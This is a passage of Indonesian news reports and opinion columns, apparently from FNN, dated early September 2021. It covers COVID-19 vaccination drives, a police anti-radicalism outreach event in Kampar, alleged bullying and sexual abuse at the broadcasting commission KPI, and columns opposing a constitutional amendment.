Makassar, FNN - Pelaksana Tugas Gubernur Sulsel Andi Sudirman Sulaiman menyampaikan ketersediaan vaksin jenis Moderna yang diperuntukkan bagi penderita komorbid yang belum tersentuh vaksin tahap I dan dan tahap II. Andi Sudirman Sulaiman pada kegiatan vaksinasi massal bersama IOF Sulsel di Makassar, Kamis, mengatakan vaksin jenis Moderna sudah disalurkan ke semua kabupaten kota di Sulsel. Untuk pemberian suntikan Moderna hanya dilaksanakan di rumah sakit karena penderita komorbid yang mendapatkan vaksin Moderna harus terpantau pelaksanaannya. "Di Sulsel kita sudah ada Moderna khusus untuk komorbid yang belum pernah divaksin. Tapi untuk penyuntikannya harus mendapat pendampingan yang kuat, makanya harus dilaksanakan di rumah sakit," jelasnya. Ia menjelaskan, masih banyak orang yang belum menjalani vaksin tahap pertama dan kedua. Namun bukan karena tidak tidak mau, tetap karena terkendala atau tidak memenuhi persyaratan untuk penyuntikan vaksinasi karena menderita komorbit. Untuk saat ini, kata dia, hal itu sudah bisa diantisipasi dengan menggunakan vaksin Moderna, yang memang diperuntukkan bagi penderita komorbid. Mengenai stok ketersediaan vaksin Moderna di Sulsel, ia mengaku ada puluhan ribu dosis dan sudah disalurkan ke berbagai kabupaten dan kota. "Saya sendiri sudah cek ada beberapa pejabat yang meninggal, ada sudah empat kali terkena COVID-19 tetapi belum pernah divaksin. Namun bukan karena tidak mau tetapi memang tidak bisa," jelasnya. (sws)

Divhumas Polri Perkuat Sosialisasi Tangkal Terorisme di Kampar

Jakarta, FNN - Tim Divisi Humas Polri turun langsung ke Kampar, Provinsi Riau, untuk memperkuat kegiatan sosialisasi tentang pencegahan radikalisme dan terorisme yang diadakan oleh Polres Kampar di Pondok Pesantren SMP-SMA Islam Terpadu Yayasan Islam Kampar Mandani. Ketua Tim Divisi Humas Polri Kombes Pol V. Bagas Uji Nugroho dalam keterangan tertulis yang diterima ANTARA di Jakarta, Kamis, mengatakan bahwa kegiatan sosialisasi ini bertujuan untuk menjaga generasi muda dari paham radikalisme dengan memberikan paham kebangsaan. Dalam paparannya, Kombes Bagas meminta generasi muda khususnya para santri agar bijak dalam bersosial media, dan dapat menangkal informasi hoaks (kabar bohong-red) yang dapat merusak persatuan dan kesatuan bangsa. "Kejahatan akan menang jika orang baik hanya diam, untuk mari berupaya berbuat yang terbaik untuk bangsa dan negara," kata Bagas. Sosialisasi tersebut menghadirkan pembicara dari selain dari Divisi Humas Polri, juga praktisi serta mantan narapidana terorisme. Makmud Rasyid, salah satu pemateri, menyampaikan agama Islam tidak mengajarkan kekerasan, maupun menyakiti sesama. Nabi Muhammad SAW mengajarkan cara membawa agama dalam konteks berbangsa dan bernegara. Pertentangan antar-kelompok dapat menghancurkan sebuah negara, contoh ini banyak ditemukan di negara-negara yang hancur akibat pertentangan satu dan lainnya, hendaknya ini menjadi contoh bagi bangsa Indonesia untuk menjaga kerukunan dan toleransi beragama. "Mari kita pelihara kerukunan dan toleransi antar-sesama anak bangsa, demi keutuhan Negara Kesatuan Republik Indonesia," ujar Rasyid. Pemateri berikutnya Rangga, mantan narapidana terorisme (Napiter), mengisahkan pengalamannya yang pernah terjebak dengan paham radikalisme. Ia pun memberikan pemahaman kepada para santri bagaimana mencegah paham radikalisme sebagai cikal bakal terorisme. Menurut dia, salah satu ciri radikalisme adalah menganggap diri atau kelompoknya paling benar, suka menyalahkan dan mengkafirkan orang lain yang tidak sepaham. Menganggap pahamnya saja yang benar. Inilah tanda-tanda radikalisme. Inilah tanda-tanda radikalisme yang perlu diwaspadai oleh para santri di Pondok Pesantren SMP-SMA Islam Terpadu Yayasan Islam Kampar Mandani. "Tuntutlah ilmu dengan benar dan bersikaplah terbuka dengan dengan orang lain, agar santri-santri punya wawasan yang luas sehingga tidak mudah dipengaruhi oleh orang lain yang berniat tidak baik," tutur Rangga. Sosialisasi menangkal radikalisme dan terorisme bertajuk "Terorisme adalah musuh kita bersama" berlangsung satu hari, pada Rabu (1/9) di Masjid Umar Bin Abdul Aziz Komplek Ponpes SMP-SMA IT Bangkinang. Turut dihadiri pula oleh Ketua MUI Kabupaten Kampar Mawardi M. Saleh, para kepala sekolah serta perwakilan majelis guru dan santri, Kabid Humas Polda Riau Kombes Pol Sunarto, Kasubbid Multi Media AKBP Ramlan, Waka Polres Kampar Kompol Rachmad Muchamad Salihi serta Kapolsek Bangkinang Kota IPTU Khairil. Kegiatan berlangsung dengan menerapkan protokol kesehatan. Diakhir kegiatan, Tim Div Humas Polri menyerahkan bantuan tunai pembangunan masjid dan memberikan Bansos berupa 30 paket sembako yang diserahkan secara simbolis kepada pihak Ponpes dan perwakilan santri. (sws)

Keterlaluan, Bully dan Pelecehan Seksual di KPI

By Asyari Usman SUNGGUH tak disangka, tak diduga. Kalau itu benar terjadi. Di satu lembaga bergengsi yang menggunakan intelektualitas sebagai ujung tombak tugasnya, diduga telah terjadi perbuatan yang sangat memalukan. Lembaga itu adalah Komisi Penyiaran Indonesia (KPI) Pusat. Perbuatan tercela yang diduga berlangsung bertahun-tahun di situ adalah perundungan (bullying), pelecehan seksual, penganiayaan dan penghinaan. Korbannya adalah seorang laki-laki yang berinisial MS. Kemarin, 1 September 2021, MS akhirnya melepaskan semua yang dipendamnya selama tujuh tahun. Dia membuat rilis media yang mirip surat terbuka. Ditujukannya rilis media itu kepada Presiden Jokowi dengan harapan bisa menolong agar dia mendapatkan keadilan. Benar-benar mencengangkan isi “curhat” MS itu. Dia dikeroyok oleh delapan orang staf KPI lainnya yang diduga melakukan perundungan, pelecehan, dan penganiayaan serta penghinaan terhadap dirinya. Menurut pengakuan MS, dia sangat terpukul. Diikuti oleh stress berat. Itu semua karena dia merasa tak berdaya untuk melawan keroyokan 8 (delapan) orang staf KPI itu. Wakil Ketua KPI, Mulyo Hadi Purnomo, menegaskan pimpinan KPI tidak akan mentoleransi perbuatan yang dialami MS. Korban akan diberi perlindungan hukum. Dan dia meminta agar penegak hukum menindaklanjuti klaim MS. Sikap awal KPI ini sangat tepat. Apalagi, MS harus mendekam dalam penderitaan selama tujuh tahun di tempat kerjanya sendiri. KPI adalah salah satu lembaga terhormat dengan tugas yang sangat terhormat pula. KPI bertugas memantau konten siaran televisi. Untuk mengawal agar tayangan televisi Indonesia tidak tercemar oleh pornografi, adegan kekerasan ekstrem, adegan-adegan SARA, dan konten-konten yang dapat merusak moral bangsa. Misi KPI adalah membangun watak dan jatidiri bangsa yang beriman dan bertakwa. Pastilah orang-orang yang bekerja di situ memiliki mentalitas yang terbaik. Mulai dari komisioner sampai ke jenjang terbawah sekali pun. Pastilah semua orang di KPI masuk dengan berbekal akal sehat dan pendidikan formal plus pendidikan moral. Sangatlah mengejutkan ketika ada seorang staf yang dirundung dan dilecehkan secara terus-menerus selama bertahun-tahun. Dan tanpa ada tindakan apa pun dari struktur organisasi KPI. MS pernah melaporkan penderitaannya itu ke kepolisian. Namun, petugas kepolisian di Jakarta Pusat cenderung anggap enteng. Korban malah disarankan melapor ke atasannya. Padahal, tidak ada keharusan suatu dugaan tindak pidana harus dilaporkan ke atasan lebih dulu. Polisi menolak, kata MS. MS menuruti saran Pak Polisi. Dia menceritakan penderitaannya kepada atasan di KPI. Tapi, atasan hanya memindahkan MS ke ruangan kerja lain yang diasumsikan dihuni oleh orang-orang baik. Sangat mengherankan mengapa si atasan tidak mengambil tindakan yang lebih serius untuk melindungi MS. Padahal, korban menceritakan semuanya kepada Pak Atasan. Termasuk menyebutkan nama-nama delapan (8) staf yang membully, melecehkan dan menganiaya. Kali kedua, pada 2020, MS mengadu lagi ke kepolisian. Tetapi, kata dia, petugas malah meminta nomor-nomor telefon pelaku agar Pak Petugas bisa menelefon langsung para terduga pelaku perbuatan tak bermoral itu. MS harus bisa mendapatkan keadilan dari penderitaannya itu. Sebaliknya, para terduga pelaku harus dihukum pidana sesuai dengan dugaan kejahatan yang mereka lakukan. Di atas itu semua, orang-orang seperti ini tidak layak melanjutkan pekerjaan mereka di KPI. KPI adalah lembaga yang mengemban tugas untuk menjaga moralitas bangsa. Kedelapan orang yang mengeroyok MS akan menjadi beban KPI jika mereka terus diberikan keistimewaan. Jika penyelidikan penegak hukum membuktikan kesalahan delapan orang itu, mereka tidak lagi layak menyandang atribut KPI. Mereka tidak punya tempat lagi di lembaga yang terhormat ini.[] 2 September 2021 (Penulis wartawan senior)

Dugaan Bully, Pelecehan dan Penganiayaan di KPI

Jakarta, FNN. - Seorang staf Komisi Penyiaraan Indonesia (KPI) Pusat yang berinisial MS mengklaim bahwa dia mengalami perundungan (bully), pelecehan sekssual dan penganiayaan fisik sejak 2011 sampai 2018. Dalam rilis media bertanggal 1 September 2021, MS menguraikan dengan detail penderitaannya dan langkah-langkah yang dia lakukan. KPI sendiri kemarin (1/9/2021) merespon klaim MS yang telah beredar luar di media sosial termasuk grup-grup WA. KPI menyatakan pihaknya akan melakukan investigas mulai hari ini (2/9/2021) untuk mencari kejelasan mengenai klaim tsb. Wakil ketua KPI, Mulyo Hadi Purnomo, menegaskan KPI tidak akan mentoleransi perbuatan bully dan pelecehan seksual di lingkungan lembaga itu. Dia mendukung aparat penegak hukum yang akan menindaklanjuti dugaan perundugan dan penganiayaan itu. Menurut MS, dia mengalami banyak penganiayaan dan penghinaan. Itu dilakukan oleh 8 (delapan) orang staf KPI lainnya. Mereka itu adalah RM, TS, SG, RT, FP, EO, CL, dan TK. Korban MS menjelaskan dengan rinci apa-apa saja yang dilakukan oleh ketujuh orang itu. Sebagai contoh, selama dua tahun (2012-2014) RM memaksa MS membelikan makanan. RM juga sering memaki dengan nuansa SARA. RM juga memimpin penelanjangan dan pelecehan seksual. RT ikut menelanjangi MS di kantor KPI. Selain itu, RT pernah menendang bangku MS sewaktu jam istirahat sampai dia ketakutan dan merasa terintimidasi. Pada 2017, MS pernah dilemparkan ke kolam renang Resort Prima Cipayung, Bogor, pada jam 1.30 pagi. RT ikut berperan dalam penganiayaan ini. FB, kata MS, juga ikut menelanjangi dia. Bahkan memukul kepalanya di tangga lantai 5 gedung KPI Pusat semasih di Jalan Gajah Mada. Pelaku lainnya, EO, juga ikut menelanjangi. Dia mencoreti buah zakar MS dengan spidol. CL mengambil foto kelamin MS yang telah dicoreti oleh EO. MS pernah melaporkan penganiayaan dan bully itu ke Polsek Gambir. Tetapi, pihak Polsek menyarankan agar MS melapor ke atasannya. Lapor ke atasan itu dilakukan oleh MS. Atasan tsb hanya mengambil tindakan memindahkan MS ke ruangan lain di KPI. Karena perundungan (bully) terus terjadi, MS kembali ke Polsek Gambir untuk mengadukan dugaan tindak pidana yang dialaminya. Namun, lagi-lagi Polsek Gambir tidak memproses pengaduan MS. Polsek malah meminta nomor hand-phone (HP) orang-orang yang melakukan perundungan dan penganiayaan di KPI. Petugas Polsek, kata MS, meminta nomor-nomor mereka supaya bisa menelefon mereka. Sejak kemarin (1/9), berita tentang perundunngan dan pelecehan di KPI ini viral di media daring (online) dan juga media sosial. MS membuta rilis media itu mirip surat terbuka yang dia tujukan kepada Presiden Jokowi. MS berharap kepolisian kali ini akan memproses dugaan tindak pidana terhadap dirinya. (AU).

Koalisi Obesitas

Oleh Ady Amar OBESITAS itu kegemukan yang berlebihan, pastilah tidak nyaman dipandang mata. Bagi yang bersangkutan merasa terbebani dengan overweight-nya. Bahkan bisa menjadi sumber berbagai penyakit. Semua ingin menghindarinya, berupaya "memerangi" dengan berbagai cara, guna mencapai tubuh proporsional. Tapi bagi rezim penguasa, koalisi politik dibuat mayoritas, dan itu penguasaan parlemen, bahkan dibuat gemuk, atau pantas disebut koalisi obesitas. Pada tubuh seseorang obesitas itu musuh, tapi justru itu diadopsi penguasa, dan itu pastilah memperlemah oposisi. Koalisi obesitas itu melemahkan demokrasi, itu pernyataan tidak salah. Tentu jika koalisi dimaknai hanya untuk kepentingan memuluskan kebijakan-kebijakan yang sampai pada tingkat tidak bersentuhan dengan kepentingan masyarakat. Partai politik pun yang tergabung dalam koalisi, yang memuluskan kebijakan bagi kalangan tertentu, itu sama dengan bekerja bukan pada kepentingan rakyat yang diwakilinya. Koalisi mayoritas yang bukan ditujukan pada kepentingan rakyat, itu sama dengan perselingkuhan tidak sah pada tujuan konsep negara modern, yang fungsinya jelas diatur pada tataran legislatif, eksekutif dan yudikatif. Perselingkuhan dalam konsep negara modern itu lebih pada kooptasi eksekutif atas legislatif bahkan atas yudikatif, sehingga peran utama legislatif pada check and balance tereduksi pada kepentingan eksekutif. Peran legislatif dengan sendirinya melemah. Pun peran yudikatif acap diselingkuhi kepentingan eksekutif. Politik menjelma jadi panglima, bukan lagi hukum. Maka istilah negara hukum, itu hanya sebatas teori ideal jauh panggang dari api. Semua dibuat jadi mungkin dengan adanya koalisi obesitas, yang merujuk pada penguasaan parlemen (legislatif) oleh eksekutif. Maka semua keinginan eksekutif/pemerintah akan mudah diwujudkan, dan itu atas persetujuan mayoritas parlemen yang telah dikuasai. Koalisi obesitas itu lebih pada bagi-bagi kue kekuasaan eksekutif pada legislatif, yang itu diwakili oleh partai politik yang tergabung dalam koalisi. Maka partai politik jadi rebutan, didekati atau bahkan mendekati penguasa yang sedang berkuasa (eksekutif). Semacam simbiosis mutualisme dimana kepentingan antara partai politik dan penguasa tidak dapat dihindari. Suara rakyat hanya diperebutkan saat pemilihan legislatif (Pileg) lima tahunan. Rakyat memilih figur tertentu, dan hanya sampai disitu. Setelah itu figur-figur yang terpilih diikat oleh partai politik. Maka suara pemilih di-take over oleh kebijakan partai politik, menjadi kepentingan partai politik, yang seolah bekerja untuk kepentingan rakyat, yang itu hal mustahil bisa diwujudkan. Anggota parlemen dipilih oleh rakyat, tapi setelah itu bekerja untuk partai politik. Kekuatan partai politik seolah lebih besar dibanding suara rakyat yang memilihnya. Sebuah paradoks eksistensial ditampakkan. Memuluskan Amandemen Demokrasi itu suara rakyat, bukan suara partai politik. Tapi saat ini menjadi sebaliknya, seolah suara rakyat itu diwakili partai politik, yang tidak bekerja untuk kepentingan rakyat. Kepentingan partai politik tidak identik dengan apa yang dikehendaki rakyat, tapi lebih pada kepentingan elit partai politik yang melebur menjadi bagian dari partai penguasa. Maka kepentingan penguasa untuk menguasai parlemen itu diikhtiarkan dengan koalisi obesitas. Makin gemuk makin seksi buat penguasa guna mewujudkan kepentingannya. Tidak dicukupkan 50 % plus 1, itu mayoritas. Koalisi yang dibangun pemerintahan Presiden Joko Widodo (Jokowi) mutlak menguasi parlemen. Sudah 427 kursi dikuasai, dan itu sama dengan 74% suara parlemen. Koalisi penguasa yang terdiri dari PDIP, Golkar, Gerindra, Nasdem, PKB dan PPP. Apakah dicukupkan 74 % itu saja penguasaan rezim atas parlemen. Rasanya tidak, justru ingin dibuat koalisi lebih obesitas, makin gemuk makin seksi, jika ingin sekaligus menguasai mayoritas suara MPR yang 2/3 itu. Maka diundanglah partai lain, yang bisa mencapai ukuran ideal, dan itu terbaca, yang tidak lain guna tujuan amandemen UUD 1945. Maka pendatang baru yang dipinang masuk dalam barisan koalisi adalah PAN. Dalam pertemuan Presiden Jokowi dengan ketua umum dan Sekjen partai koalisi, PAN diundang. Tampak dengan suka cita PAN menyambutnya. Sebentar lagi dimungkinkan ada reshufle kabinet, itu agar PAN dapat juga kecipratan kuenya. Apakah dengan bergabungnya PAN itu angka 2/3 suara mayoritas MPR itu sudah tercapai. Ternyata belum cukup, kurang 3 kursi lagi. Dan itu bisa diambilkan dari suara DPD, dan itu perkara mudah. Maka dengan 2/3 suara partai penguasa, maka amandemen UUD 1945 pastilah akan mulus tanpa hambatan. Pasal-pasal yang dikehendaki untuk adanya perubahan akan dengan mudah dicapai. Jabatan Presiden bisa dibuat 3 (tiga) periode, atau setidaknya lama jabatan Presiden akan ditambah beberapa tahun, dan itu karena kerja Presiden tidak efektif disebabkan pandemi Covid-19. Koalisi obesitas ini pantas diibaratkan dengan tubuh seseorang yang mengalami obesitas. Sama-sama buruk, bahkan dampak dari koalisi obesitas, itu lebih buruk dari seluruh negeri yang warganya mengalami obesitas. Inilah demokrasi semu menuju rezim totaliter, yang bekerja tidak untuk kepentingan rakyat... Wallahu a'lam. *) Kolumnis

Jiwa Kenegarawanan Otentik

By M Rizal Fadillah PIDATO kebangsaan Prof. Dr. KH Haedar Nashir, M.Si sangat menarik. Terutama saat menyoroti rencana MPR untuk melakukan amandemen kelima yang berkaitan dengan Pokok Pokok Haluan Negara (PPHN). Haedar mencium adanya kepentingan pragmatis yang melatar belakangi agenda amandemen tersebut. Ketua Umum PP Muhammadiyah ini menyatakan bahwa ketika kini tumbuh kembali gagasan amandemen UUD 1945, seyogyanya difikirkan dengan hikmah kebijaksanaan yang berjiwa kenegarawanan otentik. Dua hal penekanan dari narasi ini yaitu hikmah-kebijaksanaan dan kenegarawanan otentik. Hikmah-kebijaksanaan berhubungan dengan kerakyatan. Artinya orientasi pengambil keputusan politik harus pada kepentingan rakyat bukan kepentingan Presiden, Partai Politik, atau Wakil Rakyat. Apapun agenda politiknya inilah yang harus menjadi basis. Tanpa orientasi pada kepentingan rakyat maka semuanya menjadi sewenang-wenang. Demokrasi yang dicuri atau dikhianati. Kenegarawanan otentik merujuk pada sejarah dimana para pendiri negara dahulu menyusun aturan dasar itu berdasarkan pandangan yang jauh ke depan. Memberi panduan bernegara dari generasi ke generasi tidak berdasar kepentingan pendek untuk diri, kelompok atau partainya. Sinergi dibangun atas dasar kompromi-kompromi. Demi berbangsa dan bernegara yang baik sesuai dengan filsafat dan otentisitas bangsa Indonesia sendiri. Musyawarah untuk mufakat. "Belajarlah dari empat kali amandemen di awal reformasi yang mengandung sejumlah kebaikan dan kemajuan, tetapi menyisakan masalah lain yang membuat Indonesia kehilangan jati dirinya yang asli" demikian Haedar memandang perjalanan politik pragmatis. Kehilangan keaslian jati diri. UUD 1945 dan implementasinya telah terkoyak-koyak, tak berwibawa, dan melenceng jauh. "Apalagi jika wacana amandemen UUD 1945 berorientasi kepentingan pragmatis jangka pendek. Sebab, itu jelas bertentangan dengan spirit reformasi, Pancasila dan UUD 1945 yang telah dibangun 76 tahun lalu". Apa yang diagendakan hanya nafsu untuk memperbesar kekuasaan oligarkhi bukan demi rakyat, karenanya hal ini bertentangan dengan spirit reformasi yang menginginkan demokratisasi berkeadaban. Bertentangan dengan Pancasila dan UUD 1945 produk 76 tahun lalu, artinya Pancasila yang semestinya dimaknai luhur serta UUD 1945 yang asli. Membangun kenegarawanan yang otentik bukan seenaknya mengamandemen UUD 1945 tetapi mengembalikan pada semangat "the founding fathers" saat menyusun UUD 1945. MPR yang berdaulat sebagai lembaga negara tertinggi, GBHN yang diamanatkan untuk dijalankan oleh Mandataris MPR, keterwakilan golongan, Presiden orang Indonesia asli, serta DPR yang kuat dan tidak terkooptasi oleh permainan Presiden. Inilah otentisitas itu. Ketua Umum PP Muhammadiyah ini tidak ekstrim atau radikal dalam mengajak kembali ke UUD 1945 asli, akan tetapi bahwa adanya keharusan untuk kembali kepada jiwa kenegarawanan yang otentik adalah absolut. Kiranya para pengambil keputusan politik diharapkan lebih arif dan bijaksana dalam berkhidmat pada kepentingan rakyat untuk dimensi yang panjang. Mengokohkan fondasi aturan dan panduan demi generasi yang akan datang. Negarawan selalu bekerja keras untuk kehidupan bangsa yang lebih baik. Bukan menggemukkan diri dan membagi-bagi kekuasaan kepada para pengekor dan penjilat. Rakyat sebenarnya sudah ingin berteriak keras meski yang diteriaki itu orang-orang tuli dan buta. "Stop amandemen UUD 1945 dan kembali ke UUD 1945 asli !". *) Pemerhati Politik dan Kebangsaan.

Kerumunan dan Jokowi

Dalam sistem Demokrasi, Jangan pernah berhenti mengkritik konstruktif terhadap Jokowi, karena dia adalah seorang Presiden, sebagai Kepala Pemerintahan yang juga Kepala Negara, yang apa bila ada kekeliruan atau kesalahan dibiarkan bisa membahayakan Negara! Oleh Sugengwaras SAYA menghimbau, agar semua orang yang dekat, para pembantu, para penegak hukum, para stake holder dan seluruh rakyat Indonesia memahami dan menyadari hal ini Bukan kesulitan yang membuat kita takut, tapi ketakutan yang membuat kita sulit Oleh karenanya jangan pernah mencoba menyerah, serta jangan pernah menyerah untuk mencoba Jangan katakan kepada Allah aku punya masalah, tapi katakan pada masalah aku punya Allah yang maha segalanya! Juga pahami, karena keberaniannya yang luar biasa, akhirnya ketakutan sendiri, dan karena ketakutannya yang amat sangat akhirnya berubah menjadi sangat berani ! Hukum yang mengikat dan memaksa, belum bisa membuat seratus persen, benar terasa adil, dan adil terasa benar Oleh karenanya, marilah kita selalu menyeimbangkan dunia dan akhirat, doa dan tindakan Seimbang bukan berarti sama berat atau sama besar, tapi tergantung situasi dan kondisi serta masalah yang dihadapi Konkritnya, amat lemah dan sangat vulgar, apa yang dipertontonkan para penegak hukum dalam proses persidangan maupun tindakan hukum saat ini HRS dan JOKOWI yang sama+sama mengakibatkan kerumunan namun faktanya mendapatkan perlakuan tindakan hukum yang jauh dan sangat berbeda. Kerumunan di Bandara Sukarno Hatta saat penjemputan HRS yang juga dibolehkan Profesor Mahfud MD selaku Menkopolhukam, kerumunan di Petamburan saat HRS menikahkan putrinya termasuk yang di Mega Mendung, juga dugaan Kebohongan laporan kondisi kesehatan HRS saat di RS UMMI, beda tipis dengan kerumunan yang diakibatkan oleh Presiden Joko Widodo saat pemberian bansos dan sembako di Prabumulih, Palembang, Bekasi dan Cirebon serta kebohongan Jokowi atas beberapa janjinya terhadap rakyat saat pilpres. Saya yakin tidak ada yang bodoh para petugas dan para penegak hukum.. HRS adalah rakyat biasa yang kebetulan sebagai Ulama Besar yang diteladani banyak umat Islam. Jokowi adalah seorang Presiden, yang merupakan figur dan simbol Negara. Secara etika dan wibawa, bagaimanakah pandangan kita saat melihat seorang Presiden melempar lempar sembako kepada rakyatnya sehingga terjadi rebutan, desak desakan, injak injakan hanya karena ingin mendapatkan segepok sembako, atau antri antrian untuk divaksin agar terpenuhi persyaratan dan lolos dari kesulitan bebagai hal? Juga terkait penghentian kasus penembakan oleh kepolisian terhadap 6 orang laskar FPI pengawal HRS di Km 50 jalan tol Japek, dimana yang semula Kom nas HAM RI bekerja secara profesional, tiada angin, tak ada hujan tiba tiba lantang berteriak memperkuat pernyataan POLRI atas telah terjadinya tembak menembak itu. Demi Allah, demi hukum, demi agama, bangsa dan negara, jangan bohongi dan bodohi rakyat ! Kepada KAPOLRI, tanpa mengurangi rasa hormat, buka kembali kasus KM 50 itu Tanpa ada pamrih apapun aku akan masuk sebagai Tim Pembela pihak HRS sebagai solidaritas saya sesama WNI yang didzolimi Sebagai mantan Prajurit yang pernah melatih penembak mahir, dadaku mendidih membiarkan dan melupakan kebohongan dalam peristiwa ini Hadapilah secara ksatria permohonan saya ini agar borok Polisi terkoyak dan kembali bersih untuk layak Polisi menjadi kebanggaan yang dicintai dan disegani rakyatnya... *) Purnawirawan TNI AD

Amandemen, Alat Elit Bertransaksi

Oleh Tony Rosyid (Pengamat Politik dan Pemerhati Bangsa) ELIT politik makin jauh dari aspirasi dan harapan rakyat. Siapa elit politik itu? Mereka diantaranya yang duduk di eksekutif dan legislatif. Atau pengendali mereka. Mereka kerja sendiri sesuai kepentingannya. Lalu, di mana kepentingan rakyat? Tetap ada, tetapi kepentingan elit lebih utama. Atas nama rakyat ramai hanya saat pemilu. Mendengarkan aspirasi rakyat terjadi hanya ketika kampanye. Selebihnya, agenda mereka seringkali bukan menjadi agenda rakyat. Revisi UU KPK dan UU Omnibus Law Cipta Kerja yang mendapat protes masif dan didemo oleh massa dari berbagai elemen bangsa, mulus-mulus saja. Alasan apa mereka mengesahkannya? Adakah ada kepentingan rakyat disitu? Anda pasti tahu jawabannya. RUU HIP yang juga diprotes, hingga hari ini tidak dicabut keberadaannya di prolegnas. Seperti sedang menunggu di tikungan. Ada waktu yang tepat, bahas. Rakyat lupa, lanjut lagi. Sak karepmu dewe! Sekarang, hangat isu amandemen. Lobi-lobi tingkat elit terus bergerilya. Sejumlah orang ngotot dan sedang cari dukungan. Kabarnya, sudah ada sepertiga anggota DPR yang siap mengusulkan. Syarat sudah terpenuhi. Lobi masih terus dilakukan untuk menentukan apa saja yang akan diamandemen. Untuk sementara, ada tiga kelompok. Pertama, kelompok yang tidak setuju dengan amandemen. Salah satunya PKS. Kedua, setuju amandemen tapi terbatas. Terbatas artinya tidak membahas periode jabatan presiden. Ketiga, setuju amandemen, tapi diperluas batasannya. Bagaimana pendapat rakyat? Gak didengar. Giliran suara, dipakai. Giliran aspirasi, No way. Para elit rajin survei jelang pemilu. Kenapa untuk memutuskan UU yang akan menentukan nasib rakyat dan berpotensi mengubah struktur negara ini, tak ada survei? Elit politik gak nanya kepada rakyat: apakah rakyat setuju atau tidak terhadap amandemen ini. Mestinya, tanya dulu kepada rakyat. Lakukan survei kualitatif dan juga kuantitatif. Kualitatif, tanya dan ajak bicara para akademisi, agamawan, tokoh masyarakat, LSM, dan orang-orang yang kempeten di bidangnya. Biarlah mereka memberi pandangan, gali pemikiran-pemikiran cerdas mereka. Tanya juga kepada rakyat secara umum melalui survei kuantitatif. Berapa persen yang setuju, dan berapa persen yang menolak. Jangan asal amandemen. Nafsu sekali untuk amandemen! Amandemen ini akan menjadi ajang para elit, terutama parpol untuk negosiasi. Buat kepentingan siapa? Ya kepentingan mereka lah. Gak mungkin untuk kepentingan emak lu. Kalau sudah nego, ya liar. Siapa yang bisa kontrol? Civil society sudah makin melemah. Siapa yang menjamin kalau amandemen tidak merambah ke pembahasan presiden tiga periode? Meski Pak Jokowi sendiri tegas menolaknya. Siapa yang menjamin amandemen tidak digiring untuk mengubah jabatan presiden menjadi delapan tahun? Siapa yang menjamin amandemen tidak mengembalikan pemilihan presiden ke sidang MPR? Intinya, amandemen kali ini akan liar. Sulit dikontrol dan dikendalikan Hukum yang berlaku adalah lu dapat apa, gue dapat apa. Fraksi-fraksi di DPR dan parpol akan bermanuver. Di sisi lain, rakyat sedang menderita akibat dampak covid. Kenapa tidak prioritaskan saja dulu pada dua hal. Pertama, bagaimana covid ini segera berakhir. Kedua, bagaimana pertumbuhan ekonomi digenjot lagi, agar utang negara terbayar, dan ekonomi rakyat berputar. Dua hal ini jika sukses, cukup membuat rakyat gembira. Silahkan amandemen, tapi jangan sekarang. Entar setelah 2024. Setelah semua habis periodenya. Setelah situasi politik tidak lagi tegang.

Gubernur Jatim Ingatkan Patuh Prokes Meski Zona Kuning COVID-19

Sidoarjo, FNN - Gubernur Jawa Timur Khofifah Indar Parawansa mengingatkan pentingnya mematuhi protokol kesehatan (prokes) meskipun wilayah tersebut masuk dalam zona kuning COVID-19. "Saya kembali mengingatkan kepada kepala daerah, termasuk Sidoarjo yang saat ini sudah berada di zona kuning supaya tetap menerapkan prokes," katanya di sela vaksinasi COVID-19 massal di GOR Gelora Delta Sidoarjo, Rabu. Ia mengatakan jika prokes itu terus dilakukan maka bukan tidak mungkin wilayah yang sebelumnya zona kuning bisa berubah hijau. "Begitu juga sebaliknya, jika lengah akan prokes, zona kuning yang berhasil dicapai kembali ke zona oranye," tukasnya. Ia mengatakan pembelajaran tatap muka (PTM), merupakan bagian yang penting supaya anak mendapatkan pembelajaran yang cukup baik dan juga berkualitas. "Aglomerasi Surabaya Sidoarjo ini sudah kuning maka harus terus digenjot pelaksanaan vaksinasi supaya tanggal 6 nanti Sidoarjo yang sudah PPKM level 3 bisa naik ke level 2 dan menjadi zona hijau," tukasnya. Untuk menjaga ini, kata dia, memang tidak mudah karena dibutuhkan komitmen bersama, salah satunya dengan melakukan vaksinasi pada hulu penanganan COVID-19, dan juga kasus yang melandai. "Termasuk saat ini di Rumah Sakit Islam Jemursari tingkat BOR nya sudah turun di bawah 10 persen termasuk juga RSUD dr Soetomo Surabaya BOR nya juga di bawah 10 persen," ujarnya. Pada kesempatan yang sama, Bupati Sidoarjo Ahmad Muhdlor Ali mengatakan saat ini vaksinasi di Sidoarjo sudah mencapai 62 persen atau sekitar 1.007.000 orang peserta. "Saat ini yang sedang digenjot salah satunya pelaksanaan vaksinasi untuk anak usia 12 sampai dengan 18 tahun," tukasnya. (sws)

Gubernur Jatim Minta Kemenkes Kirim Sinovac untuk Vaksin Pelajar

Surabaya, FNN - Gubernur Jawa Timur Khofifah Indar Parawansa meminta Kementerian Kesehatan mengirim vaksin Sinovac lebih banyak ke wilayahnya sebagai upaya percepatan vaksinasi terhadap pelajar. "Kami juga sudah berkoordinasi agar dropping Sinovac bisa lebih banyak, karena kadang mendapat vaksin tertentu dalam jumlah sangat besar, namun untuk segmen tertentu juga," ujar Khofifah di sela meninjau pelaksanaan vaksinasi di SMA Khadijah Surabaya, Rabu. Menurut dia, saat ini kebutuhan untuk pelajar bisa dimaksimalkan supaya yang dikirim ke Jatim adalah vaksin yang berkesesuaian untuk anak usia 12 tahun sampai 17 tahun. Percepatan vaksinasi berbasis pelajar, kata dia, juga dilakukan sebagai bagian dari proses Pembelajaran Tatap Muka (PTM) terbatas dan bertahap yang mulai dilakukan sejak Senin (30/8). Orang nomor satu di Pemprov Jatim itu menegaskan upaya akselerasi vaksinasi berbasis pelajar di Jatim harus terus dilakukan dan bupati/wali kota, Dinas Kesehatan, dan Dinas Pendidikan di daerah untuk memaksimalkannya, terutama bagi siswa kelas 12 SMA/SMK/MA serta SLB. "Ini penting mengingat para siswa kelas 12 harus segera melakukan lompatan pembelajaran ke tahap perguruan tinggi. Sedangkan, SMK segera melakukan penyesuaian dengan kebutuhan dunia usaha, dunia industri dan dunia kerja," ucap dia. Gubernur Khofifah menyampaikan per 31Agustus 2021 berdasarkan Inmendagri Nomor 38 Tahun 2021 terdapat penambahan kabupaten/kota di Jatim yang mengalami penurunan level dari sebelumnya level 4. "Sekarang ini tinggal sembilan kabupaten/kota di Jatim yang masih level 4. Per tanggal yang sama ada 29 daerah yang sudah dimungkinkan untuk melakukan PTM terbatas," 